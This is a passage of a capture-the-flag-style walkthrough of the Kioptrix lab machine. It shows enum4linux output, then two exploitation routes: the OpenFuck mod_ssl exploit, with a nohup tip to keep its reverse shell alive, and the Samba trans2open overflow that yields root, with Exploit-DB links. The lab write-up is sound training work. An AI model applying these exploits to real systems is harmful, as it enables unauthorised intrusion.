 KIOPTRIX <20> - B <ACTIVE> File Server Service
 ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
 MYGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
 MYGROUP <1d> - B <ACTIVE> Master Browser
 MYGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
 MAC Address = 00-00-00-00-00-00
 ===================================== 
| Session Check on 192.168.56.5 |
 ===================================== 
[+] Server 192.168.56.5 allows sessions using username '', password ''
 =========================================== 
| Getting domain SID for 192.168.56.5 |
 =========================================== 
Domain Name: MYGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
 ====================================== 
| OS information on 192.168.56.5 |
 ====================================== 
[+] Got OS info for 192.168.56.5 from smbclient: 
[+] Got OS info for 192.168.56.5 from srvinfo:
 KIOPTRIX Wk Sv PrQ Unx NT SNT Samba Server
 platform_id : 500
 os version : 4.5
 server type : 0x9a03
 ============================= 
| Users on 192.168.56.5 |
 ============================= 
 ========================================= 
| Share Enumeration on 192.168.56.5 |
 ========================================= 
 Sharename Type Comment
 --------- ---- -------
 IPC$ IPC IPC Service (Samba Server)
 ADMIN$ IPC IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
 Server Comment
 --------- -------
 KIOPTRIX Samba Server
 Workgroup Master
 --------- -------
 MYGROUP KIOPTRIX
[+] Attempting to map shares on 192.168.56.5
//192.168.56.5/IPC$ [E] Can't understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//192.168.56.5/ADMIN$ [E] Can't understand response:
tree connect failed: NT_STATUS_WRONG_PASSWORD
<...SNIP...>
enum4linux complete on Sat Apr 13 14:11:09 2019

There is a lot of useful information in this output; however this a bug in the version of enum4linux that does not show the version of Samba running on the server. This missing information becomes important in the second method for getting into the server. Now let us take a look at the first method I used to get on to the server.

Method 1

The first method of getting a shell on the server exploits the mod_ssl module in Apache HTTPd. I found in the enumeration phase that the server is running Apache HTTPD 1.3.20 with mod_ssl/2.8.4 OpenSSL/0.9.6b. After a quick search in Exploit-DB, I found that there are two versions of an exploit for CVE-2002-0082 named OpenFuck and OpenFuck2. First I used OpenFuck found at https://www.exploit-db.com/exploits/21671

This exploit ran without issue and gave an unprivileged shell as the user apache using, the output of the exploit is below.

After running the exploit and getting on the server, I found the reverse shell died regularly. Once I changed the shell syntax to add “nohup” to background the reverse shell process making the shell not die regularly.

There is a better version of this exploit named OpenFuckv2. This version chains a kernel exploit to get root and can be found at https://www.exploit-db.com/exploits/764. There are issues building this version of the exploit on Linux distributions that have newer versions of libssl. The following link has instructions on how to modify the code from exploit-db to work on more modern distributions.

https://www.hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/

Now that we have exploited the mod_ssl service to get unprivileged access on the server we can move onto the next method to get into and finally get root on this box.

Method 2

After getting an unprivileged shell on the server using Method 1 I started enumerating the server and found that this is a Red Hat Linux release 7.2 (Enigma) server running Samba 2.2.1a. This version of Samba service has the RCE vulnerability, CVE-2003-0201 – Buffer overflow in the call_trans2open function in trans2.c for Samba 2.2.x before 2.2.8a, 2.0.10 and earlier 2.0.x versions.

This CVE has a published exploit in exploit-db at https://www.exploit-db.com/exploits/10. The output when running the exploit in brute force mode is shown below,

Since this service is running as root, boom, we have a root shell!

Overall, This was a pretty straightforward box and would have been easier if I had found the version of Samba earlier.